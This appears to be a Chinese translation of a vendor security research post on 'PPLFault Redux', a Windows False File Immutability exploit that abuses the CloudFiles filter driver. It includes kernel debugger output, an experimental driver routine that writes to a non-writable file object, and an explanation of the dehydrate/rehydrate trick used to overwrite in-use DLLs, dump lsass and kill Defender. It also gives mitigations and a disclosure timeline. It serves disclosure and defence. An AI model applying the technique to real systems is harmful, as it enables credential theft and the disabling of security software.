FltWriteFileEx 上设置断点并重新运行漏洞,我们可以在HsmiRecallWriteFileNoLock 的调用处断开:

2: kd> bp fltmgr!FltWriteFileEx
2: kd> g
Breakpoint 0 hit
FLTMGR!FltWriteFileEx:
fffff800`425aad40 4055            push    rbp
0: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffb90e`faa968e8 fffff800`5c2878d3     FLTMGR!FltWriteFileEx
01 ffffb90e`faa968f0 fffff800`5c2b2ccc     cldflt!HsmiRecallWriteFileNoLock+0x2df
02 ffffb90e`faa969f0 fffff800`5c2b25f8     cldflt!HsmRecallTransferData+0x25c
03 ffffb90e`faa96aa0 fffff800`5c2b35d7     cldflt!CldStreamTransferData+0x65c
04 ffffb90e`faa96bd0 fffff800`5c27196c     cldflt!CldiSyncTransferOrAckDataByObject+0x4c7
05 ffffb90e`faa96cb0 fffff800`5c2bb568     cldflt!CldiSyncTransferOrAckData+0xdc
06 ffffb90e`faa96d10 fffff800`5c2bafe1     cldflt!CldiPortProcessTransferData+0x46c
07 ffffb90e`faa96db0 fffff800`5c27895a     cldflt!CldiPortProcessTransfer+0x291
08 ffffb90e`faa96e50 fffff800`4259530a     cldflt!CldiPortNotifyMessage+0xd9a
09 ffffb90e`faa96f70 fffff800`425cf299     FLTMGR!FltpFilterMessage+0xda
0a ffffb90e`faa96fd0 fffff800`42597e60     FLTMGR!FltpMsgDispatch+0x179
0b ffffb90e`faa97040 fffff800`3eaebef5     FLTMGR!FltpDispatch+0xe0
0c ffffb90e`faa970a0 fffff800`3ef40060     nt!IofCallDriver+0x55
0d ffffb90e`faa970e0 fffff800`3ef41a90     nt!IopSynchronousServiceTail+0x1d0
0e ffffb90e`faa97190 fffff800`3ef41376     nt!IopXxxControlFile+0x700
0f ffffb90e`faa97380 fffff800`3ec2bbe8     nt!NtDeviceIoControlFile+0x56
10 ffffb90e`faa973f0 00007ffe`b074f454     nt!KiSystemServiceCopyEnd+0x28
11 000000dc`e7bff448 00007ffe`99383ca2     ntdll!NtDeviceIoControlFile+0x14
12 000000dc`e7bff450 00007ffe`99383251     FLTLIB!FilterpDeviceIoControl+0x136
13 000000dc`e7bff4c0 00007ffe`94f3b12b     FLTLIB!FilterSendMessage+0x31
14 000000dc`e7bff510 00007ffe`94f36059     cldapi!CfpExecuteTransferData+0x103
15 000000dc`e7bff690 00007ff7`ac9216e0     cldapi!CfExecute+0x349
16 000000dc`e7bff730 00000029`8969cee4     PPLFault!FetchDataCallback+0x4b0 [C:\git\PPLFault\PPLFault\PPLFault.cpp @ 176]

让我们看看FltWriteFileEx第二个参数中的句柄 (~=FILE_OBJECT) 被授予了何种访问权限。在 x64 上,这是rdx

0: kd> dt _FILE_OBJECT @rdx ReadAccess WriteAccess DeleteAccess SharedRead SharedWrite SharedDelete Flags
ntdll!_FILE_OBJECT
   +0x04a ReadAccess   : 0 ''
   +0x04b WriteAccess  : 0 ''
   +0x04c DeleteAccess : 0 ''
   +0x04d SharedRead   : 0 ''
   +0x04e SharedWrite  : 0 ''
   +0x04f SharedDelete : 0x1 ''
   +0x050 Flags        : 0x4000a
0: kd> !fileobj @rdx

Device Object: 0xffffa909953848f0   \Driver\volmgr
Vpb: 0xffffa90995352ee0
Event signalled
Access: SharedDelete 

Flags:  0x4000a
	Synchronous IO
	No Intermediate Buffering
	Handle Created

FsContext: 0xffffcf04ac4c6170	FsContext2: 0xffffcf04a7d1cad0
CurrentByteOffset: 0
Cache Data:
  Section Object Pointers: ffffa90999f44378
  Shared Cache Map: 00000000


File object extension is at ffffa9099a4c5f40:

	Flags:	00000001
		Ignore share access checks.

我们可以看到,文件并没有开放写访问权限,而 "忽略共享访问检查 "听起来很像IO_IGNORE_SHARE_ACCESS_CHECK 。让我们检查一下ByteOffsetLength 参数的正确性,它们是FltWriteFileEx 的第三和第四个参数,分别存储在r8r9 中。

0: kd> dx ((PLARGE_INTEGER)@r8)->QuadPart
((PLARGE_INTEGER)@r8)->QuadPart : 0 [Type: __int64]
0: kd> dx (int)@r9
(int)@r9         : 90112 [Type: int]

在偏移量0 处写入90,112 字节 - 这与 ProcMon 的输出一致。Flags ,第 6 个参数呢?

0: kd> dx *(PULONG)(@rsp+(8*6))
*(PULONG)(@rsp+(8*6)) : 0xa [Type: unsigned long]

0xA0x2 | 0x8 ,即FLTFL_IO_OPERATION_PAGING |FLTFL_IO_OPERATION_SYNCHRONOUS_PAGING 。这与我们在 ProcMon 中看到的 "分页 I/O、同步分页 I/O "一致。

让我们看看能否在驱动程序中重现这一现象。我们将打开一个本地映射的 DLL,就像在实验二中所做的那样,但我们不会询问FILE_WRITE_DATA ,而是坚持使用与 CloudFiles 相同的权限: SYNCHRONIZE |FILE_READ_ATTRIBUTES |FILE_WRITE_ATTRIBUTES 。这不会触发MmFlushImageSection 检查(该检查会查找FILE_WRITE_DATA ),但我们还是要加入IO_IGNORE_SHARE_ACCESS_CHECK ,以便更接近地复制 CloudFiles 的行为。接下来,我们将使用FltWriteFileEx 对不可写入的FILE_OBJECT 执行同步分页写入。

为了简洁起见,我们省略了一些辅助代码。本文中的所有示例代码都可以在我们的GitHub 上找到。

VOID ExperimentFour()
{
    DECLARE_CONST_UNICODE_STRING(filePath,
        L"\\SystemRoot\\System32\\TestDll.dll");

    NTSTATUS ntStatus = STATUS_SUCCESS;
    HANDLE hFile = NULL;
    HANDLE hSection = NULL;
    HANDLE hFile2 = NULL;
    OBJECT_ATTRIBUTES fileObjAttr{};
    IO_STATUS_BLOCK iosb{};
    BOOLEAN bSuccessful = FALSE;
    BOOLEAN bReportResults = FALSE;
    PVOID pMappedBase = NULL;
    PFILE_OBJECT pFileObject = NULL;
    PFLT_INSTANCE pInstance = NULL;
    PFLT_VOLUME pVolume = NULL;
    LARGE_INTEGER byteOffset{};
    ULONG bytesWritten = 0;

    ntStatus = MapFileAsImageSection(
        &filePath, &hFile, &hSection, &pMappedBase);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentFour: MapFileAsImageSection %wZ failed with NTSTATUS 0x%08x\n",
            &filePath, ntStatus);
        goto Cleanup;
    }

    // Find our own minifilter instance for the volume containing this file
    // We'll need it later
    ntStatus = GetMyInstanceForFile(hFile, &pVolume, &pInstance);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentFour: GetMyInstanceForFile failed with NTSTATUS 0x%08x\n",
            ntStatus);
        goto Cleanup;
    }

    // Now that a view of the SEC_IMAGE mapping exists, 
    // close the file and section handles because that's what ntdll does
    // https://github.com/Microsoft/Windows-driver-samples/blob/622212c3fff587f23f6490a9da939fb85968f651/filesys/fastfat/create.c#L3572-L3593
    HandleDelete(hFile);
    HandleDelete(hSection);

    InitializeObjectAttributes(&fileObjAttr, 
        (PUNICODE_STRING)&filePath, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

    // Open the file without FILE_WRITE_DATA
    // cldflt.sys!HsmiOpenFile uses this instead of IoCreateFileEx
    ntStatus = FltCreateFileEx2(
        gpFilter,
        NULL,
        &hFile2,
        &pFileObject,
        SYNCHRONIZE | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES,
        &fileObjAttr, &iosb, NULL, 0,
        FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
        FILE_OPEN,
        FILE_NO_INTERMEDIATE_BUFFERING | FILE_SYNCHRONOUS_IO_NONALERT | 
        FILE_NON_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT,
        NULL, 0,
        IO_IGNORE_SHARE_ACCESS_CHECK,
        NULL);
    if (!NT_SUCCESS(ntStatus))
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentFour: IoCreateFileEx failed with NTSTATUS 0x%08x\n",
            ntStatus);
        goto Cleanup;
    }

    // cldflt.sys is using FltWriteFileEx with synchronous paging I/O
    ntStatus = FltWriteFileEx(
        pInstance, pFileObject, &byteOffset,
        sizeof(gZeroBuf), gZeroBuf,
        FLTFL_IO_OPERATION_PAGING | FLTFL_IO_OPERATION_SYNCHRONOUS_PAGING, 
        &bytesWritten, NULL, NULL, NULL, NULL);

    // If FltWriteFileEx returns success without us passing FILE_WRITE_DATA, 
    // then we have succeeded
    bSuccessful = NT_SUCCESS(ntStatus) && (sizeof(gZeroBuf) == bytesWritten);
    bReportResults = TRUE;
    
Cleanup:
    if (bReportResults)
    {
        DbgPrintEx(DPFLTR_IHVDRIVER_ID, DPFLTR_ERROR_LEVEL,
            "ExperimentFour complete. "
            "FltWriteFileEx %s be used to write to a non-writable FILE_OBJECT "
            "Status: 0x%08x\n",
            bSuccessful ? "CAN" : "CANNOT",
            ntStatus);
    }

    HandleDelete(hFile);
    HandleDelete(hSection);
    HandleDelete(hFile2);
    if (pMappedBase)
    {
        NTSTATUS unmapStatus = ZwUnmapViewOfSection(ZwCurrentProcess(), pMappedBase);
        NT_ASSERT(NT_SUCCESS(unmapStatus));
    }
    ReferenceDelete(pFileObject);
    if (pInstance) FltObjectDereference(pInstance);
    if (pVolume) FltObjectDereference(pVolume);
}

实验结果如下

ExperimentFour complete. FltWriteFileEx CAN be used to write to a non-writable FILE_OBJECT Status: 0x00000000

这证明,FltWriteFileEx 可以用来打破一些规则。PPLFault 与本次实验有一个关键区别:该实验在没有任何网络重定向器的情况下取得了成功,证明了 CloudFiles 本身就可以修改正在使用的可执行文件,无论它们是本地映射还是通过 SMB 映射。更抽象地说,它证明了通过云文件进行 FFI 利用可能不需要网络重定向器

新的漏洞

微软的 PPLFault 缓解措施专门针对通过网络重定向器加载的可执行文件。我们能不能不用网络重定向器,利用我们在这里发现的方法实现同样的效果?

当 CI 请求 DLL 进行签名验证时,PPLFault 会使用 CfExecute获取数据回调中写入占位符(补水)。一旦原始文件通过签名验证,它就会切换到有效载荷,在同一回调中第二次调用 CfExecute,用有效载荷覆盖文件的一部分。调整 PPLFault,让受害者在本地而不是通过环回 SMB 加载 DLL,第二次调用CfExecute 失败,显示 "用户取消了云操作"。我们需要另一种方法。

C:\Users\user\Desktop>PPLFault.exe 760 services.dmp
 [+] Ready. Spawning WinTcb.
 [+] SpawnPPL: Waiting for child process to finish.
 [!] CfExecute #2 failed with HR 0x8007018e: The cloud operation was canceled by user.
 [!] Did not find expected dump file: services.dmp

经过一些逆向工程,我们了解到故障是由于 CloudFilter 本身的检查造成的,而不是由于它与 I/O 管理器或文件系统的交互造成的。我们发现,调用 CfDehydratePlaceholder然后从不同的线程(在补水回调之外)调用 CfHydratePlaceholder会重置 CloudFilter 驱动程序中文件的状态,导致它重新调用我们的补水回调。这样,我们就可以用有效负载覆盖使用中的 DLL,并以 WinTcb-Light 的身份实现任意代码执行。这一小小的代码改动复活了 PPLFault,因此我们将其命名为 Redux 变体。

我们同样复活了GodFault,利用我们高度受权的 PPL 访问权限侵入内核内存,绕过 Windows Defender 的进程保护,终止了一个通常可被关闭的进程。

您可以在GitHub 上找到 Redux 和 GodFault-Redux 的 PoC。

下面的视频显示了在完全升级的 Windows Server 2022 (2 月 2026 版本 20348.4773)上的以下情况。

  1. PPLFault 无法转储 lsass
  2. Redux 成功转储 lsass
  3. 管理员未能终止MsMpEng.exe ,因为它是 PPL
  4. GodFault-Redux 成功终止 MsMpEng.exe

减轻

在我们提交给 MSRC 的报告中,我们提供了一个文件系统迷你过滤器,它可以通过阻止满足以下所有条件的IRP_MJ_ACQUIRE_FOR_SECTION_SYNCHRONIZATION 操作来减轻 Redux 的影响:

  • 申请者为 PPL。
  • 申请者的PreviousModeUserMode
  • 页面保护是可执行的(例如PAGE_EXECUTE_READ) 或分配属性包含SEC_IMAGE
  • 文件具有云过滤器重新解析标记,如IO_REPARSE_TAG_CLOUD

Elastic Defend 8.14 及更新版本内置了缓解措施。如果您的机群运行任何受影响的操作系统,您可以在Defend 高级策略中设置以下内容以启用它。

windows.advanced.flags: e931849d52535955fcaa3847dd17947b

有了这种缓解措施,漏洞利用就被阻止了:

C:\Users\user\Desktop>Redux 624 services.dmp
 [+] Ready.  Spawning WinTcb.
 [+] SpawnPPL: Waiting for child process to finish.
 [!] SpawnPPL: WaitForSingleObject returned 258.  Expected WAIT_OBJECT_0.  GLE: 2
 [!] Did not find expected dump file: services.dmp

同时,Windows 会弹出STATUS_ACCESS_DENIED (0xC0000022) 状态代码。

您可以在GitHub 上找到我们的 PoC 缓解程序。

披露和补救

披露时间表如下

  • 2024-02-14 我们向 MSRC 报告了 Redux。
  • 2024-02-29 Windows Defender 团队出面协调披露事宜。
  • 2024-10-01 Windows 11 24H2 达到 GA 缓解。

当我们向 MSRC 披露 Redux 时,它可以在完全打补丁的 Windows 11 版本上运行,但不能在试验性 Insider Canary 版本 25936 上运行。在与 Windows Defender 团队讨论该问题时,我们了解到(现任)微软高级安全研究员Philip Tsukerman在查找 PPLFault 的变种时发现了这个问题,修复方法仍在发布前的测试中。

下表列出了截至发布之日受影响和已修复的 Windows 版本。

操作系统生命周期修复状态
Windows 11 24H2主流支持✔ 固定
Windows 10 Enterprise LTSC 2021主流支持❌ 截至 2 月仍在运行 2026 (19044.6937)
Windows 服务器 2025主流支持✔ 固定
Windows Server 2022主流支持❌ 截至 2 月仍可使用 2026 (20348.4773)
Windows Server 2019扩展支持❌ 截至 2 月仍在运行 2026 (17763.8389)

结论

2024 年,我们披露了一种新的 Windows 漏洞类别--虚假文件不可变性 (FFI),并发布了两个不同的内核漏洞利用程序加以演示:PPLFaultItsNotASecurityBoundary。这两个漏洞都是利用网络重定向器来利用 Windows 代码完整性的设计缺陷。在这项研究中,我们展示并发布了另一个漏洞,演示了如何在没有网络重定向器的情况下利用 FFI。我们认为,这是 2024 年 2 月报告的第三起 FFI 漏洞利用事件;此后至少 又 发生了 两起

Redux 并不是 FFI 的终结;还有更多可利用的 FFI 漏洞。

分享这篇文章